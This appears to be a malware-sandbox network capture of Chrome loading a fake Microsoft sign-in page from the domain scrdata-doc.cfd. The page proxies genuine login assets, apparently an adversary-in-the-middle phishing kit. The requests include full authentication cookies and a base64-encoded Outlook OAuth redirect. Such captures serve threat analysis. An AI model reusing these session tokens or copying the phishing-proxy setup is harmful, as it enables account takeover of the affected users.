2024-04-26 12:37:39 UTC	2769	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_76bb127b5869a5c6b8b3.js HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:39 UTC	1406	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:39 GMT Content-Type: application/x-javascript content-length: 113440 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:56 GMT ETag: 0x8DAFF34DE8E0647 x-ms-request-id: 62e8d734-c01e-003e-32cb-976692000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123739Z-17949d75874hgcbdtpcdrg3v2s0000000atg0000000071d2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 12:37:39 UTC	14978	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 79 7f db 38 b2 28 fa ff fd 14 b6 a6 c7 11 db b4 2c 6a 97 6d c6 e3 78 e9 64 a6 bb 93 93 a5 e7 cc c8 ea 0c 45 41 12 db 14 29 93 94 97 c4 9e cf fe aa 0a 3b 29 67 39 e7 9e 7b df ef bd cc 34 4d 14 0a 85 42 01 28 14 0a 05 6a ff c7 ed ff b5 f5 e3 d6 de b7 ff db 7a f7 fe e4 ed fb ad d7 17 5b ef 5f be 7a 7b b6 f5 06 52 ff d8 fa f5 f5 fb 57 a7 e7 df 4e 07 2b c5 ff de 2f a2 7c 6b 16 c5 6c 0b fe 4e 82 9c 4d b7 d2 64 2b cd b6 a2 24 4c b3 55 9a 05 05 cb b7 96 f0 cc a2 20 de 9a 65 e9 72 ab 58 b0 ad 55 96 fe c1 c2 22 df 8a a3 bc 80 42 13 16 a7 b7 5b 75 20 97 4d b7 de 04 59 71 bf f5 ea 8d d3 00 fa 0c a8 45 f3 28 81 d2 61 ba ba 87 f7 45 b1 95 a4 45 14 b2 ad 20 99 12 b5 18 12 49 ce b6 d6 c9 94 65 5b b7 8b 28 5c 6c fd 12 85 59 9a a7 b3 62 Data Ascii: y8(,jmxdEA);)g9{4MB(jz[_z{RWN+/\|klNMd+$LU erXU"B[u MYqE(aEE Ie[(\lYb
2024-04-26 12:37:39 UTC	1406	IN	Data Raw: d1 56 57 e5 56 6e a5 74 ab b9 92 4d d5 8a 8b 4a 4f 1b 57 89 8c 18 4b 2e 7f 23 4f c5 54 f2 9e c4 9c ea 45 a8 8e 99 55 be 9f 14 ca cc 0d 17 9b 86 32 af 72 6f 69 a8 da 5c be 9d d4 33 32 c4 ec 08 5a 06 cc 16 9d 6a 6b f5 82 52 a8 0a 6d 38 20 2c e7 49 7b a8 5d ce b0 ee 28 a9 ae d8 70 49 89 be 80 21 32 2b 6c 86 3a af d2 bf 9d 72 9e d4 56 4c 66 54 8a b4 ed 1c bb 0b e5 e7 23 f9 bd 9b 0c 2f b6 97 be 90 47 6a d0 bc 16 42 1d 1c 1b 41 e5 d4 a9 b1 0a 21 27 fd 52 b9 a9 e1 29 a8 05 49 8c 9f 1a a1 b5 c5 bc 46 31 e5 00 7d 8d 82 63 18 d7 28 48 d3 9b 57 01 7a 1c 50 32 06 49 04 86 31 c8 09 9b 97 00 38 65 cb 4b 42 fd 87 bb 32 eb 13 13 43 3a cd cf 78 95 8e 78 55 de 46 ba d2 97 ad ec 93 3c b2 47 cc 50 7d 9a fe d5 4b 7f 34 3c ad 50 7b ea 93 8a 31 4a fa c1 08 b5 e7 e5 d4 ba 45 5a Data Ascii: VWVntMJOWK.#OTEU2roi\32ZjkRm8 ,I{](pI!2+l:rVLfT#/GjBA!'R)IF1}c(HWzP2I18eKB2C:xxUF<GP}K4<P{1JEZ
2024-04-26 12:37:39 UTC	7698	IN	Data Raw: f7 32 26 6a ea 49 d8 8d 0d 89 c2 2b fb b6 e8 40 82 4b 06 7d e5 de 61 77 76 29 3f 4e 5c b9 54 38 e4 44 8c 9f 2e e1 90 2b 1d ca c8 eb a9 d4 f2 f2 f5 db 5f f9 08 61 84 20 7e 13 e9 8e 1c 45 45 f9 f7 ec 4c e5 da 56 00 2b 1c bc 2d a1 95 40 f1 ae cc b1 a2 c4 89 2f f4 8d 28 83 39 e0 dd 45 30 81 45 db 11 e5 41 b9 23 f5 41 49 f5 81 4b 8e 60 7f ce b5 48 99 3c d0 a0 9d 62 91 ae 26 72 3c b5 69 f3 0a 10 e3 5a b7 c7 21 b2 4e ea f8 8a 71 3e e1 48 25 e3 bc 2b a0 2a f0 23 20 6f 60 91 e6 8a 03 ea 11 eb d0 9c c6 60 16 48 59 f0 af f2 bf 7f 7b 72 76 6e 02 0a cb 65 da 25 d7 90 84 69 57 33 ff 3d a8 6a b4 2d ff f2 c1 c6 60 db 49 c7 c8 51 ce ca d0 00 1a 01 b8 dc 47 b5 39 fe 56 b2 a4 26 6b 97 09 2a ac 44 d5 d8 c9 05 e4 9a 7b 9f 45 2b e3 b7 9e c5 2c 47 a0 c6 13 15 e7 6a ff 34 e5 80 Data Ascii: 2&jI+@K}awv)?N\T8D.+_a ~EELV+-@/(9E0EA#AIK`H<b&r<iZ!Nq>H%+# o``HY{rvne%iW3=j-`IQG9V&kD{E+,Gj4
2024-04-26 12:37:39 UTC	8686	IN	Data Raw: a7 bd 6f 6d 6e db 58 16 fc be bf 42 62 6c 19 30 40 f1 a1 87 23 92 20 a3 6b 3b bb ae ca b9 71 25 b9 f7 c3 21 69 1e 90 04 49 44 20 c0 00 a4 1e 16 b8 bf 7d bb 7b de 00 28 c9 3e f7 d4 dd da da 54 2c 02 83 79 f6 f4 f4 f4 f4 f4 43 5d 10 64 db 87 88 3c 72 06 f7 db ba 1f 85 cb b8 53 73 30 db 78 6c 8c f1 c0 cd aa b6 0e dc b5 71 a7 6a f4 42 48 fd b1 1b 28 1e 60 97 6b da 08 65 86 94 32 b8 45 68 a9 0a 08 5c ec a0 06 44 b6 bb c2 ad fd d8 3a 44 57 bb 2b 21 11 c2 b3 33 42 cb dd 78 0f 12 5a bd 0d 41 0c cf ce 30 10 40 fa 15 b2 19 30 c0 c7 f7 86 92 fb 7b ae 90 4c ab 9f 2d 8f 95 5c 1e ea db 13 94 9b e5 c1 8e fc 57 2e 86 15 ee 75 4e 1b ef 3c 34 88 4d 93 f9 83 9c 78 7c 51 68 33 05 c4 71 da 80 90 f6 0b 50 6c e5 ae 14 8a cd 8b b8 a5 50 78 fe af c3 ad 81 86 60 a8 69 7a 10 c7 34 Data Ascii: omnXBbl0@# k;q%!iID }{(>T,yC]d<rSs0xlqjBH(`ke2Eh\D:DW+!3BxZA0@0{L-\W.uN<4Mx\|Qh3qPlPx`iz4
2024-04-26 12:37:39 UTC	3024	IN	Data Raw: 8d c1 54 40 2b 36 a1 05 40 d0 cf 11 6c fc 31 ef 4c ac 8d 3f d4 52 9b df 02 15 48 f1 b8 e9 b7 4c 3b 39 09 fb 15 50 a8 04 a0 18 d6 cb e0 18 da 45 ca 0a a3 37 29 83 d8 cd 0f d1 19 b5 e1 8b a5 5c a6 2c 62 35 96 ae 02 cc 05 a2 33 3f e6 76 3a 1e 3c 9f 45 f2 89 50 39 bb 16 b2 3b 85 b1 d0 4c 96 af f4 bc 26 45 ae ee 96 20 21 11 c7 a0 81 9e 87 4e a2 b9 a2 1d 43 0c 8c 5e e0 6e bd aa 49 d2 cc a7 b6 03 25 ce e9 04 5d 49 ac 30 1a b5 5d ae 2f 06 1c e2 d9 2b ea 75 b7 4e 55 7b 4a 4c c4 70 6e 90 b2 73 97 39 27 78 72 ae de a8 b9 f0 38 cc d8 75 19 9c 47 82 0e 6c 43 28 f4 36 f7 3f e3 0d af 92 66 3e 4e 3e f0 6d e9 d6 aa e0 79 cd 19 0f f0 b0 38 dc d6 5b c4 e4 a6 c1 6d 90 12 db a4 ef 75 76 a7 d0 a4 80 9e 7d 70 eb 6d 9a 15 98 a3 ae 3a 2b 21 27 c9 16 0f a9 44 20 df c5 48 70 a3 81 Data Ascii: T@+6@l1L?RHL;9PE7)\,b53?v:<EP9;L&E !NC^nI%]I0]/+uNU{JLpns9'xr8uGlC(6?f>N>my8[muv}pm:+!'D Hp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49764	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:39 UTC	1712	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:41 UTC	763	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:40 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: 519927a5-901e-005b-34cb-97a3ba000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123740Z-17859dc676b4qqzsyprs6hq54w00000002r000000000fag2 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 12:37:41 UTC	15621	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-04-26 12:37:41 UTC	1832	IN	Data Raw: 45 41 44 01 40 00 04 11 40 00 01 00 14 01 40 00 00 10 01 40 14 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 Data Ascii: EAD@@@@@PEPmEPHEPDQQ@@@TPB( (("(( ( " * (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49765	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:39 UTC	1706	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:40 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:39 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: e754f9e9-701e-0045-6fcb-97b185000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123739Z-17949d758744chmmpzyumaket80000000arg00000000gcrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 12:37:40 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49766	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:39 UTC	1709	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:40 UTC	800	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:40 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: 0bcfae94-701e-003d-71c0-971b94000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123740Z-17949d7587422dpcz5esd8x98g0000000b00000000000rt0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
